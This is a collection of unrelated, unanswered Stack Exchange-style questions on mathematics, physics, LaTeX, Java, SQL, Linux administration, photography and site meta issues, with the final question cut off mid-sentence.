I have a header.tex file which has a large set of useful definitions and macros for a set of documents, including the lines  \theoremstyle{definition} \newtheorem{nthm}{Theorem}[section]   which are useful in the majority of files I'm writing. However for one of the files, I'd like global theorem numbering instead of per section, so here is a minimal example of what I tried:  \documentclass{article}  \usepackage{amsmath} \usepackage{amsthm}  % (from header.tex) \theoremstyle{definition} \newtheorem{nthm}{Theorem}[section] \newtheorem{nprop}[nthm]{Proposition} % (end of header.tex)  \makeatletter \let\nthm\relax \let\c@nthm\relax \makeatother  \theoremstyle{definition} \newtheorem{nthm}{Theorem}  \begin{document}  \section{First}  \begin{nprop}     Proposition 1 goes here \end{nprop}  \begin{nthm}     Theorem 2 goes here \end{nthm}  \section{Second}  \begin{nthm}     Theorem 3 goes here \end{nthm}  \begin{nprop}     Proposition 4 goes here \end{nprop}  \end{document}   Hopefully the desired behaviour should be clear from there.  I'd very much prefer not to amend header.tex, because those lines work very well for other documents, and I'd like to keep the dependancy because header.tex has other useful commands (irrelevant to this issue). Similarly I'd like to continue using an article class because it's most appropriate for this work.  To the best of my understanding  \newtheorem{nthm}{Theorem}   should give global theorem numbering, but it doesn't seem to here.  Relatedly, adding [subsection] at the end of that line does behave as expected.


Can someone please explain this limit:   $$lim_{j\rightarrow\infty} \frac{j^{j}}{(j+1)^{j}}=\frac{1}{e}?$$  I got it from this series:   $$\sum_1^{\infty}\frac{j!}{j^j}.$$


I want to know, is there any difference between "stop + v.(ing)" and "stopped to + v.". These are example sentences.     I stop working for a month. vs I stopped to work for a month.   I stop watching movies. vs I stopped to watch movies.   I stop cooking for a year. vs I stopped to cook.   I read  but I still don't understand what is the difference or when and how to use them.


How can I format or partition SD card in Kubuntu?  Is there an application with GUI for this?


NullPointerException When add object into ManyToMany Relation Ship

I have got ManyToMany Relation Ship @ManyToMany @JoinTable(name = "competition_tag",         joinColumns = @JoinColumn(name = "competition_id"),         inverseJoinColumns = @JoinColumn(name = "tag_id")) private Set<CompetitionTags> tags = new HashSet<>();   public void addTagToCompetition(CompetitionTags competitionTags) {     this.tags.add(competitionTags);     competitionTags.getCompetitions().add(this); }  But when i use addTagToCompetition I getting NullPointerException. Can you please give me any advice/tip why this happen. I add whole object. If this will be needed , whole class is on :


How can I see or even control a client cert traffic in OpenVPN? Is it possible? I'm programming a Client Control Web App and I find nothing about it. Is there any script or commands for that? In OpenVPN Access Server I've seen such thing.  Edit: To be clear I want users traffic usage.


Suppose three players play the following game: Player 1 picks a number in $[0,1]$. Then player $2$ picks a number in the same range but different from the number player $1$ picked. Player $3$ also picks a number in the same range but different from the previous two. We then pick a random number in $[0,1]$ uniformly randomly. Whoever has a number closer to the random number we picked wins the game. Assume all players play optimally with the goal of maximizing their probability of winning. If one of them has several optimal choices, they pick one of them at random.  1)If Player 1 chooses zero, what is the best choice for player 2?  2)What is the best choice for player 1?  I have some trouble seeing how this problem is well-defined. For instance, if Player $1$ picks $0$ and Player $2$ picks 1, then I cannot see what the optimal choice would be for the last player since he has to pick different numbers. Can someone help?  EDIT: I now understand better how the problem works, but I still have no idea how to approach this. Can someone give me some hints?


Different definitions for exterior derivative?

Let $\omega \in \Omega^k(M)$ and $X_i \in \Gamma(TM)$. In Spivak Volume I page 213 the exterior derivative is given invariantly by the formula \begin{align*}d \omega(X_0, \ldots, X_k) = & \sum_i (-1)^i X_i . (\omega(X_0, \ldots, \hat{X_i}, \ldots, X_k)) \\ &+ \sum_{i<j} (-1)^{i+j} \omega([X_i, X_j], X_0, \ldots, \hat{X_i}, \ldots, \hat{X_j}, \ldots, X_k) \\ \end{align*} whereas in Kobayashi and Nomizu Volume I page 26 the exterior derivative is given by almost the same formula, but with a factor of $\frac{1}{k+1}$ in front of the sums: \begin{align*}d \omega(X_0, \ldots, X_k) = & \frac{1}{k+1}\sum_i (-1)^i X_i . (\omega(X_0, \ldots, \hat{X_i}, \ldots, X_k)) \\ & + \frac{1}{k+1} \sum_{i<j} (-1)^{i+j} \omega([X_i, X_j], X_0, \ldots, \hat{X_i}, \ldots, \hat{X_j}, \ldots, X_k) \\ \end{align*} I'm confused about where this extra factor is coming from. Even if Spivak and Kobayashi and Nomizu use different conventions for the wedge product, shouldn't the invariant formula for the wedge product be the same?


Should we suggest features we want added to the Android app?

The Android app is still in its alpha stages, and therefore not everything has been added yet. So, should we suggest things we want added to the Android app on Meta and Google+, or will they just be ?


copy only tables with data from one database to another database

I have two database , dbOne(version - 10.50.1600 - locate in office server )  and dbTwo(version - 10.0.1600 - locate in my local server) . I want to copy dbOne's tables with data to dbTwo . Is there any way or script to do it ? I don't want to upgrade my local server-version !


Assume we are provided with a perfectly spherical and frictionless ball of radius $R$. A point is placed on the top of the ball. A velocity $u$ is imparted on the ball to one side of the ball. How can we determine the angle subtended from the centre  at which the ball will leave the surface of the ball as it rolls down?


How to stop `apt-get` complaining about unmet dependencies when I manually install the software from source?

I have been installing some applications onto my Debian system. Now there are some that have dependencies that I do not want installed with the applications at the moment. I have managed this by using dpkg in some cases. The installed applications work fine without them at the moment.  But now, every time I use apt-get, it complains about unmet dependencies.  How do I cheat apt-get into thinking that all dependencies (2-3) are installed? Is there some file I can edit?


A non-diagonal $4\times4$ matrix such that $A^3=A^2=0$ and its rank is $2$

Let $A$ be a $4\times 4$ matrix over $\mathbb C$ such that $\operatorname{rank} A=2$ and $A^3=A^2\neq 0$  Suppose $A$ is not diagonalizable.  Then which one is true   $A^2=A\neq 0$ $\exists$ a vector $v$ such that $Av\neq 0$ but $A^2v= 0$ the characteristic polynomial of $A$ is $x^4-x^3$   My try:  If $A^2=A$ then minimal polynomial of $A$ has two distinct roots and hence $A$ is diagonalisable hence false. Since $A^3=A^2\neq 0$ so the characteristic roots of $A$ are $0,0,1$ Since rank of $A$ is $2$ $1$ must appear twice so the characteristic polynomial of $A=x^4-(0+0+1+1)x^3+(0.0.1+0.1.1+1.1.0+1.0.1)x^2+(0.0+0.1+1.1+...)x+(0.0.1.1)$ hence 3 is false  2 I am not sure Please find the error in my solution and don't refer it to some previous solution


Orange and other artifacts in photos from film camera

I've been thinking about getting into film photography for a while, so recently I grabbed the old Olympus OM-1 from work when they were cleaning out the media cupboard, I'm only mentioned in this so you can understand my experience level with film is minimal. I've shot a few rolls of film for testing and in a couple of them have seen some strange light artifacts, but only in a few of the shots. Rather than try and explain them, I'll show some examples (scanned 6x4's on flatbed scanner, so please excuse the quality):    I also have an example of the orange triangular artifact above on another shot that is much stronger and on a dark landscape shot, but thought it would be useful to show 2 shots that I know were taken close in time.  A second shot was taken just after this, but the artifact is different:   The lighter bar down the left hand side of the above shot appears in a few other shots as well, although with much stronger effect. I've also seen a bar down the side of other shots, but orange in colour rather than white.  These artifacts aren't occuring on every shot, I have shot 3 rolls of film and have found these artifacts on 6/24 or so per film.  My suspicion is that there is a light leak, or multiple light leaks. I've changed the seals on the back door already, but the question I am not sure about it ... is there any other way for light leaks to occur in a film camera that I can investigate? Am I on the right path or is this likely something else ... or a combination of things?     Are the images with the orange artifacts usually the first shots taken after the camera has been unused for a while (hours, days,etc.)? In other words, the frame in question sat directly behind the shutter for longer than just the time between frames in the same session?   I just had a look at the shots in order, and yes, it would seem that the shots with the orange marks would have been the first shots for some time (probably at least a day in all cases).  All the the film shot thus far has been processed by a local professional camera store, so I don't suspect processing at this stage.    update: I've shot another roll through the camera. The good news is this time I had no artifacts appear, however I am conscious of the fact that this film was shot in a matter of hours, rather over multiple days that the films that I had issues with.  Now that I have some time I'll try out the light inside the camera idea that Alan Marcus suggested, an LED with a small battery should do the trick. Note I haven't tried this yet, but something like an LED Throwie should do the trick, just don't attach the magnet!.  for anyone not electronics inclined, they are pretty simple to set up


How can I tell what date Ubuntu was installed?

is there a command which will output the date that ubuntu (or any distribution) was installed?


Is it unethical to ask for homework help on StackExchange?

Sometimes when I have been struggling on a problem set for a while, I'll post a question on StackExchange, openly acknowledge that it's homework, and ask for hints (not the full solution).  Typically people give good advice and help me think about the problem in several different ways, and I end up learning a lot by asking the question.  Now the thing is, we are probably not supposed to ask the Internet for homework help.  But in my classes it is perfectly acceptable to go to TA office hours, where most of them will tell me the entire answer instead of giving hints.  Often I've seen TAs present the solution on the blackboard in front of about 20 students (because all the students need help on the same question).  We're also encouraged to "collaborate" with other students, who will usually tell you the entire answer instead of giving minimal hints to help you along.  Is it unethical to ask for homework help on StackExchange given that I learn a lot more than I would using officially sanctioned methods?  (If it matters, I post on math.stackexchange, and this is for classes like real analysis and abstract algebra.)


etc/fstab accidentally edited or deleted, I don't know. Please someone help me to solve this. I am new to Ubuntu.  General error mounting filesystem. A maintenance shell will now be started. CONTROL-D will terminate this shell and reboot the system   More info:  Disk /dev/sda: 1000.2 GB, 1000204886016 bytes  255 heads, 63 sectors/track, 121601 cylinders  Units = cylinders of 16065 * 512 = 8225280 bytes  Sector size (logical/physical): 512 bytes / 4096 bytes  I/O size (minimum/optimal): 4096 bytes / 4096 bytes  Disk identifier: 0x0005a46f     Device Boot      Start         End      Blocks   Id  System /dev/sda1 *             1       74697   599999489    5  Extended Partition 1 does not start on physical sector boundary.  /dev/sda2           75195      100094   200000512   83  Linux  /dev/sda3           74697       75195     3999744   82  Linux swap / Solaris  /dev/sda4          100094      121602   172761088   83  Linux  /dev/sda5               1       31124   249999360   83  Linux /dev/sda6           31124       62248   249999360   83  Linux  /dev/sda7           62248       64738    19998720   83  Linux  /dev/sda8           64738       69717    39999488   83  Linux  /dev/sda9           69718       74573    38999040   83  Linux  /dev/sda10          74573       74697      998400   83  Linux


The Frattini subgroup is a characteristic subgroup.

I am revising for my Group Theory exam and am stuck on the following question;  The Frattini subgroup $\Phi(G)$ of a group $G$ is defined to be the intersection of all maximal subgroups of $G$. Prove that $\Phi(G)$ is a characteristic subgroup of G.  Why is this the case?


I encountered an 'errorUnknown graphics extension: .eps.'

I tried to load an .eps picture, but an error occured,      errorUnknown graphics extension: .eps.


We have a NAS server at the company I work for that is being used for storing photography sessions. Each session is approximately 100gb. Over the last couple of years this server has accumulated 10+ TB of data, and we are increasing the amount of photoshoots exponentially. I estimate that by the end of next year we will have 20+ TB stored on this NAS. We are currently backing this server up to tape using LTO-5 tapes with Symantec BackupExec. Since the size of this server has grown, full backups of this server are not completing overnight. Does anyone have any suggestion on how to backup this amount of data? Should we be backing it up to tape? Are there any other options which may be better?


C++ inheritance - why is parent method called?

I am implementing a class hierarchy and see calls to parent methods that I do not understand why. Using C++11 constructs and this is my first 11 project where I use some features, hence I believe this might be a benign problem.  class A{    void update(){        std::err << "Calling A update " << std::endl;    }  }  class B: public A{    void update(){        std::cout << "In B update! " << std::endl;    }  }  class C: public A{    void update(){        std::cout << "In C update! " << std::endl;    }  }   now somewhere else I have a vector containing either Bs or Cs  std::vector<A> container; container.push_back(B()); container.push_back(C());  for(auto item: container){     item.update(); }   prints   Calling A update Calling A update   Why?


Is it possible for the Bash prompt to contain a bell without it getting corrupted by navigating history? timmerman@devcees:~$ export PS1='\u@\h:\w$\a ' timmerman@devcees:~$ pexport PS1='\u@\h:\w$ ' timmerman@devcees:~$   Using the arrow keys to navigate the history, the first p from a python3 command got stuck at the end of the prompt but doesn't count for the actual (not visual) cursor position. Looks like a Bash bug. Can it be fixed without recompiling Bash?


What are these auxiliary file descriptors?

While poking around /proc/self folder for my mksh shell,  I found a peculiar thing: in /proc/self/fd/* there are all the standard file descriptors (0 for stdin, 1 for stdout, and 2 stderr) some file descriptors, but also some extra ones - 24, 25, 3. And I technically can list them with a glob in the shell:  $ for fd in /proc/self/fd/* ; do echo $fd ; done                                                       /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/24 /proc/self/fd/25 /proc/self/fd/3   But when I try to stat them or use find on them, they are reported as non-existent.  $ find  /proc/self/fd/*                                                                                /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 find: ‘/proc/self/fd/24’: No such file or directory find: ‘/proc/self/fd/25’: No such file or directory /proc/self/fd/3   Same occurs in bash , but just with just one auxiliary file descriptor.  $ for fd in /proc/self/fd/* ; do echo $fd; done /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/255 /proc/self/fd/3  $ find /proc/self/fd/* /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 find: ‘/proc/self/fd/255’: No such file or directory /proc/self/fd/3   Question is: what are those additional file descriptors? What is their purpose?


Prove the function is continuous, exercise from Conway's "Functions of One Complex Variable I"

For the first proof of Cauchy's integral formula, Conway in his book "Functions of One Complex Variable" (Chapter IV, section 5.4) uses the following claim:     Let $G$ be an open subset of $\mathbb C$ and $f : G \to \mathbb C$ an analytic function. Then define $\varphi : G \times G \to \mathbb C$ as   $$ \varphi(z,w) = \begin{cases} \dfrac{f(z)-f(w)}{z-w}, && z\neq w \\   f'(z) && z=w \end{cases}. $$   Then $\varphi$ is continuous on $G \times G$.   Unfortunately, he does not give a proof, leaving it as an exercise (Exercise 1).  I tried to make a direct proof by taking $|z-z_0| + |w-w_0| < \delta$ as a neighbourhood of $(z_0,w_0)$, but it lead to nowhere. I understand, that $z \mapsto \varphi(z,w)$ and $w \mapsto \varphi(z,w)$ are both holomorphic and continuous, but I do not see how one could use it.  I also saw this claim in several lecture notes but it goes unproven there either.  I would appreciate a hint, we have this problem as a homework.


Why wouldn't an option's last trade price be between the current bid and ask?

In the option table for  there is a column called 'Price' and a column called 'Bid' and a column called 'Ask'.  If I wish to buy a call option, I need to pay a premium. Which column is the premium I would pay? Is it the 'Price'? But isn't the 'Price' supposed to be mid-way between the 'Bid' and 'Ask'? Why wouldn't it be?


ANDCamera problem: brightness malfunctioning

I am a newbie photographer and had a question that has been plaguing me for some time now.  My NIKON D3100 camera's brightness meter (the lines that change on manual mode when one adjusts shutter speed) is clearly not working correctly.  The reason I say this is because whenever I take a normal photo (manual mode) using 400 IS0 and 5.6 F-STOP, my shutter speed must be 1/10 to attain "normal" brightness, or brightness in the middle of the lines.  This is unusual because 2 months ago, I was using manual mode, and taking photos at 400 ISO, 5.6 F-STOP, and 1/640 shutter speed; the brightness meter displayed "normal" brightness.  Can someone provide insight into what has occurred, please? All my photos now turn out dark and I really just want to shoot like I was 2 months ago!  Help is appreciated, thanks! UPDATE: SPOT METERING IS OFF, MATRIX METERING IS ON.  ALSO, ISO IS AT 400 AND IS NOT SET TO AUTO ISO.


Book to study Dirac delta function from a physics point of view

I am a beginning physics graduate student. I am often bewildered by the strange properties of the  such as:   $\delta (a x)= \frac{1}{a} \delta (x)$ The derivative of $\delta (x)$    etc etc.  Such strange properties of $\delta (x)$ are mentioned in the first chapter of Arfken-Weber (7th ed.) without proof. Please suggest me a book from which I can learn the minimum essential mathematics of $\delta (x)$ function that is required to study physics. I am not looking for an advanced mathematical treatment but the book should have the proofs of the theorems stated.


I've come across a weird paradox that I can't answer, I will explain it via the following thought experiment:  There is a space-train and an observer 1 light year apart with synchronised clocks. The train travels to the observer at just below the speed of light. In the reference frame of the observer the train is subject to time dilation and length contraction. When it arrives its clock reads 1 second as its time was basically standing still and the observers clock reads one year. From the trains reference frame it sees the 'observer' travelling towards the train at near light speed, so the train should expect to read the observers clock as 1 second and the trains clock as a year as the train sees the observer to have undergone time dilation. So what do the clocks actually read and why? The only way I can imagine the paradox with relativity not occurring is if both clocks read the same otherwise you could tell what speed you were going?


knapsack with dynamic programming complexity doesn't match with the real result

import java.util.ArrayList;  class Knapsack {  // A utility function that returns maximum of two integers static int max(int a, int b) { return (a > b)? a : b; }  // Returns the maximum value that can be put in a knapsack of capacity W static int knapSack(int W, int wt[], int val[], int n, ArrayList<Integer> iteration) {      int i, w;     int K[][] = new int[n+1][W+1];      // Build table K[][] in bottom up manner     for (i = 0; i <= n; i++)     {         for (w = 0; w <= W; w++)         {             // add 1 to count up the iterations.             iteration.add(1);             if (i==0 || w==0)                 K[i][w] = 0;             else if (wt[i-1] <= w)                 K[i][w] = max(val[i-1] + K[i-1][w-wt[i-1]],  K[i-1][w]);             else                 K[i][w] = K[i-1][w];         }     }      return K[n][W]; }   // Driver program to test above function public static void main(String args[]) {     // 16 items     int Weights[] = {1, 4, 6, 2, 5, 10, 8, 3, 9, 1, 4, 2, 5, 8, 9, 1};     int Values[] = { 10, 5, 30, 8, 12, 30, 50, 10, 2, 10, 40, 80, 100, 25, 10, 5 };      // Max weight      int  W = 20;      // number of item which is 16     int n = Values.length;      // Count up the iteration      ArrayList<Integer> iteration = new ArrayList<Integer>();      // Will print out the Max value result.      System.out.println(knapSack(W, Weights, Values, n, iteration));     // returns 280      // Should print out the number of iteration.     System.out.println(iteration.size());     // returns 357    }  /*This code is contributed by Rajat Mishra */ }   Hello! This is my first questions to StackOverflow, Hope it is not a duplicated question.   The code above is originally from . I made a slight change to find out how many iterations needed to solve the problem.   Dynamic programming algorithm for Knapsack problem should give a time complexity of O(nW), When n is the number of items and W is the capacity of the knapsack.   But The algorithm returns iterations of 357. Because I thought, since   n = 16 W = 20   Thus, It should give 320 iterations.   Can anybody explain what's wrong with this?    The code is wrong Time complexity doesn't always match to the result.


Can anyone please tell me how to define $x^\sqrt 2$ ? If it was $x^2$ or $x ^ \frac{1}{2}$, we could have said that  $x^2$ means $x \times x$ and $x ^ \frac{1}{2}$ means a number y such that $y^2 = x$. But  how to define $x^\sqrt 2$ ? Can anyone please help me ?


I have a Desktop computer, which I booted up after 5-6 months.  While using ir, updating Anti-Virus and other software. Voidtool's Everything.exe reported that there's some indexing problem in a folder, I was busy so I just OKed it.    Later I discovered that folder was reduced to 0 byte file. The system has 2 internal HDDs   250GB for 64-bit Windows 7 Ultimate OS 1TB for media and important stuff   My questions:   I will be leaving for a long time again, what can I do to stop this aging process? Is it advisable to physically remove the 1TB HDD (until I can buy an Ex-HDD), if so what precautions should I take in storing it?     P.S. My home is kept clean, and no power outages are experienced


The number $18! + 1$ is divisible by 437. How to prove it?  I have $(19-1)! + 1 \equiv 0$ (mod 19) and $437 = 19 \times 23$. What to do next?  Thank you for your help.


How to make only the first character in each word uppercase in Perl

I have a string containing all uppercase words and I want to make only the first letter of each word uppercase or convert all but the first character to lowercase. I've been messing around with regex for a while and can't get it right.


I have a staging SharePoint 2010 environment which I have created quite a few List Views.  I would like to move these Views to my production server. I could not find any way to do it via backup and restore mechanism.  Is it possible to do this exercise? if so, could you please let me know how?  Thanks


Change Owner ID and Group ID of all files/folders in a folder

I am very new to Ubuntu.  But I have a problem with my files/folders in my wordpress VPS (Nginx, Ubuntu).   I check the permission of file. The permission of folders is 755 => That's good. The permission of Files is 644 = That's good. But the owner ID is 0 => I must change it to 113. And Group ID is 0 => I must change it to 117.   I can change one by one. But there are thousands of files and folders.  Is there anyway to do this in batch mode, using terminal, command line or something...???  Please help me!  Image:


I am working on creating an immutable class. I have marked all the properties as read-only.   I have a list of items in the class. Although if the property is read-only the list can be modified.   Exposing the IEnumerable of the list makes it immutable. I wanted to know  what is the basic rules one has to follow to make a class immutable ?


How do you account for the fact that the field points in a particular direction when the charge density is uniform?

Suppose an electric field ${\mathbf E}(x,y,z)$, $$E(x)=ax, \quad E(y)=E(z)=0,$$ where $a$ is a constant. So we can calculate its charge density is $$\rho = \varepsilon \nabla\cdot{\mathbf E} = \varepsilon a,$$ which is uniform everywhere!  But why? How could an uniform charge density create a field that point in particular direction?


Connection between field and the frobenius homomorphism

Let K be a field with char(K)>0.  How do I prove that every algebraic extension of K is a separable extension if and only if $\phi:x \rightarrow x^p$ is surjective ?


Show that A is diagonalizable over $\mathbb{C}$

Let $A$ be a $n\times n$ matrix over $\mathbb{C}$ satisfying $X^m-1$ for some positive integer $m$.    $a)$ Show that $A$ is diagonalizable over $\mathbb{C}$.  $b)$ Show that $tr(A)$ is a sum of roots of $X^m-1$.


Testing for significant differences in skewness

How do you test for significant differences in skewness across two distributions of citation data, using R? I'm trying to compare the two power-law distributed histograms below (I'm just using histograms to visualize it, the data is not actually reduced to histograms). The sample sizes are 121 and 85 respectively. The skewness is very different (roughly 3 and 6 respectively), but how do I test if this difference is significant?


Are dark energy and zero-point energy the same thing?

According to Quantum Mechanics is it possible that the famous  and  are the same thing that drives the accelerated expansion of the universe or maybe related to each other?


How to flip all the normals properly on this model?

this is my first time here on StackExchange. I'm pretty new to Blender but I have successfully created some simplistic models so far. So I just modeled a roof rack made for Euro Truck Simulator 2. Since it's made out of cylinders a lot of normals need to be flipped, but doing it one by one could take hours and it's a pain. The model with the default material:  The model with a chrome-like material, as you can see the normals are off almost everywhere:  Is it possible to flip every normal with a simplier method? Thanks in advance for the answer! :)


Story about person fighting aliens in exoskeleton before joining them

Trying to remember a scifi book name about man (soldier?) who lands on remote planet and fights the hostile alien flora and fauna, until he is overpowered, then he awakes when a bug-like alien inserted his feelers into his ear. He tries to pull them out and fails as it causes an intense pain. The man is sure that the alien going to eat his brain(?) and he is done for, while he suddenly hears a voice and the alien says it cleared some kind of a block (cork?) that the man had and now he can communicate with them telepathically (apparently the said block is present at all the humans preventing them from communicating telepathically).  After learning more about the aliens and discovering they are actually sentient and friendly, and are under the human attacks, the man eventually joins their fight against the invading human forces. The aliens are masters in biology manipulations, and they adapt his body to survive on the hostile planet without his exoskeleton, and they also add some improvements, for example metal claws, which help in fight with the invaders.   The bug alien becomes man's best friend, working with him through the whole story. Later in story, a woman joins him, who also has her telepathic block cleared and her body adapted to the planet, and fighting modifications added (as much as having argon-based lasers shoot from her hands?), and the man gets romantically involved with her.  In the end of the story, the aliens with the man's and woman's help are able to repel the human invaders, and start studying the human space ships, planing to build their own biological forms of these ships and reach the stars.  I've read the book about 20-25 years ago and these the key points that I remember, will appreciate any pointers!


How to ask the same question on different sites?

Suppose I have question, which appropriate to ask on two (or more) different SE sites. Since the audience is different on different sites, I would like to attract all people, who can answer.  How should I ask such a question?  If I duplicate the text it is inconvenient for me and moderators, since one needs to synchronize editing of each question. It will become messy.  If I simply give a link it is inconvenient for those who answer.  There is a related question:  but it is for moderators, not for users who ask.


Is there an annotation function that allows continuous text annotation without having to repeatedly click on the 'T'?

Preview before yosemite had the ability to click on the Text annotation and allow you to continuous annotations without having to repeatedly press 'Text'. I want to be able to annotate anywhere on the pdf - is this possible with the upgrade?


I have created a new HashMap Object say. Now I pass this object to a method where I change the reference of the variable to some other hashmap object .The reference to this new object is not reflected once the method is completed   Example :  Map<String, Boolean> map = new HashMap<String, Boolean>(); changerefofMap(HashMap<String, Boolean>() map) { map=methodwhichreturnSomeMap(); System.out.println(map.size());  //returns 2 } System.out.println(map.size());  //returns 0   I don't understand why the reference is not getting changed.


How do I set icons and description of file types associated with Notepad++?

I tried using Nirsoft's File Type Manager to change the icons and file descriptions of individual file types associated with Notepad++. However, if I change the icon of one file type, all of the other file types associated with Notepad++ also change. How can I make each file type have a different icon?


How to understand the Ubuntu file system layout?

In Windows there’re perhaps only a couple of important folders (by important I mean important in my logical picture of the Windows file system) in the installation drive (in my case C:\). Namely Program Files and Windows. I simply stay away from Windows folder and the “add remove program files” is good enough to handle the program files folder of Windows. Of course there’s a folder named Users where the users (who are not admins) can access only their folders.  Thus there’s a clear picture at some level in my mind of the Windows file system. In Ubuntu, when I reach the location /, there’s a huge list of folders, most of which I have no clue as to what they contain. The /bin folder seems to be the equivalent of the Windows folder in windows. The /usr folder seems like it’s the equivalent of the Users folder in Windows. But even the /home folder looks like it can fit the bill.  Please understand that I do understand, that Ubuntu (Linux) has a different character than that of Windows, i.e., there need not be exact equivalent of Windows functions, in Ubuntu. All I am looking for is a bit more clearer picture of the Ubuntu file system.   This question is a part of a bigger question which I am splitting up to make it more answerable. The original question can be found here:


Why do most 2D platformers start off in the left and progress in the right direction?

In almost all 2D platformers I've played, your avatar always starts off on the left side of the world, and continues on to the right. Is there something designers gain by doing this?


Why $O(3)$ does not contain a normal subgroup $\mathbb{Z}/2\mathbb{Z}$?

Why the orthogonal group $G=O(3)$ does not contain a normal subgroup, a cyclic group of order 2, $N=\mathbb{Z}/2\mathbb{Z}$?  It looks that any $g \in G$ satisfies $$ g N g^{-1}=N $$ where  $N=\mathbb{Z}/2\mathbb{Z}$ is generated by $-diagonal(1,1,1)$ of rank-3 matrix.  So why the orthogonal group $G=O(3)$ does not contain a normal subgroup $N=\mathbb{Z}/2\mathbb{Z}$, but only an $SO(3)$?


Is there a way to find review articles by the keyword?

When I search for papers using some keywords in academic databases (like Google Scholar), there are lots of papers, but I would like to read literature reviews first because I’m new in that area. (By literature reviews, I mean article-length papers that analyze existing work on a specific topic.)  So I think it would be helpful for me if there were a way to find literature reviews using the keyword or using the paper’s title. I want to categorize papers I’ve found by its document type (research, survey, review, etc).  What I've tried is using a specific academic database (ScienceDirect), which provides an advanced search, in which one can filter the paper by its type (original research article, review article, short survey, etc) – but I feel some limitations of this method. I think I can also do this by adding the word review to my keywords for searching or by reading a paper’s abstract, number of references and guessing whether it is review article or not.  Is there a more efficient way to find review articles by the keyword?  (My research area is computer science.)  UPDATE  "feel some limitations" in my post, I'm not sure but it seems that ScienceDirect only searches for literatures that belongs to ElseVier company. I think It doesn't cover the journal articles well, comparing to e.g) Google Scholar so I said I feel some limitations of it


Select a date without time (SQL Server (+)

I would like to retrieve a date minus 1 year, but without time notation.   The following query  SELECT DATEADD(year, -1, GETDATE())   Output:  2015-03-30 10:48:04.220   What I want is 2015-03-30 00:00:00:000  Similar to:   (DATEADD(dd, DATEDIFF(dd, 0, GETDATE()), 0))   Which results in: 2016-03-30 00:00:00.000  What is the correct or easiest way to do this?


If $F$ is a field show that $F[x]$ is not a field.

I know that $ax=1$ has a solution in $F$ so that every element must be a unit but then I'm not sure how to proceed.


Prevent iMac from sleeping, for VPN login?

We have an iMac in the office, and I have been getting inconsistent access when trying to log in to it. The firewall isn't going down, since I can connect to the VPN. After discussing it with the people at the office, we suspect that the iMac is going to sleep.   Is it possible to keep the iMac "awake" 24 hours a day? How do I instruct the people at the office to configure the iMac? What settings should be changed? The iMac is running OS X Lion 10.7.3.


I am having a tough time removing the subfolders from the URL in my WordPress site.  Currently, the URL format is: www.mysite.com/subfolder/index.php/category/postname  I would like to remove both the subfolder AND index.php from the URL.  The site must stay in a subfolder of root on my server.   My current htaccess file is:  <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /subfolder/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /subfolder/index.php [L] </IfModule>   I've tried to add the following, although it did not work.  Options +FollowSymlinks RewriteEngine on RewriteRule ^subfolder/(.*)$ http://www.mysite.com/$1 [R=301,L] RewriteRule .* index.php/$0 [PT,L]


MySQL: JOIN tables and return a column from a row depending on an aggregate function on another column

Let there be two tables:   Table A  id | name 1    x 2    y  Table B  foreign_key | value | external 1             1       60 1             2       50 2             3       80 2             4       90    The desired result is a JOIN looking like this:  id | name | external 1    x      50 2    y      90   i.e., for each row in A we get the corresponding external from B where value is max for a given id.  What I have so far is this:   SELECT     A.`id`,     A.`name`,     B.`external` FROM `A` LEFT JOIN `B` ON A.id = B.foreign_key GROUP BY id   This obviously returns the first B.external encountered instead of the one with the highest value:  id | name | external 1    x      60 2    y      80   Is there a way to achieve this, preferably without using subqueries?


I'm looking for a way to align on the left side my math formula and on the right side the \textrm part. \begin{equation} w_{t} = \Bigg\{ \begin{aligned} \log(y_{t}) \textrm{ if } \lambda = 0; \\ (y_{t}^{\lambda} - 1)/ \lambda \textrm{ otherwise } \end{aligned} \end{equation}   Is there a simple solution to achieve that ?


Too much whitespace in "Thanks for the feedback"

While attempting to downvote something on a site I don't have an account on, I see this message, which has too much whitespace:    The same thing happens with upvotes (and プラス票が):    (I think it's safe to say that this is a network-wide bug, since I took these all on different sites.)  However, it looks more reasonable when you are not logged into the network at all (e.g. in private browsing):    An earlier version of this issue was reported at , but the difference is that there is no newsletter UI on the right anymore. (The extra space could have been justified before given the height of the newsletter; now it's definitely a bug.)  Also, is newsletter supposed to be gone?


Why the point right below the center of a rolling ball on the ball has zero instantaneous velocity

Suppose there is a snooker ball rolling on a table. The velocity of the center of the ball is Rω and its direction is horizontally right. I don't understand why the point right below the center on the ball has zero instantaneous velocity. Much obliged if anyone can help me.


String comparison isn't working properly?

So i'm trying to have the user input a string, print it backwards and then compare the new strings to see if it is a palindrome or not... It doesn't seem to be working and i'm not sure why...  public static void main(String[] args) {     Scanner input = new Scanner (System.in);     System.out.print("Enter a word: ");     String word = input.next();     StringBuilder drow = new StringBuilder(word);     drow.reverse();     System.out.println(drow);     System.out.print(" ");     String X = drow.toString();     if (word == X) {         System.out.println("That word is a palindrome");  } else {     System.out.println("That word is not a palindrome"); }   Thanks for any help to why this isn't working...


How to know if the graph is an interval graph?

Suppose we have graph $G  =(V, E)$ that $V(G) = {a, b, c, d, e}$ and $E(G) = {ab, ad, bc, be, cd, de} $  How should I know if this is an interval graph or not?


How to replace Suspend with Hibernate on a laptop with kubuntu16.04

I dont have any option for hybernation. sudo pm-hibernate works so its a supported function. How to do it when my lid is closing instead of Suspending?


I have a website that sells music artists posters. Each artists has a page containing a small bio, and a list of posters we are selling representing the artist.  Currently our HTML looks like that
{Artist name}
 bio
Posters

...
   ...
   We are redesigning this page, and we have a new template that we really like. Problem is that in this new version the
Posters
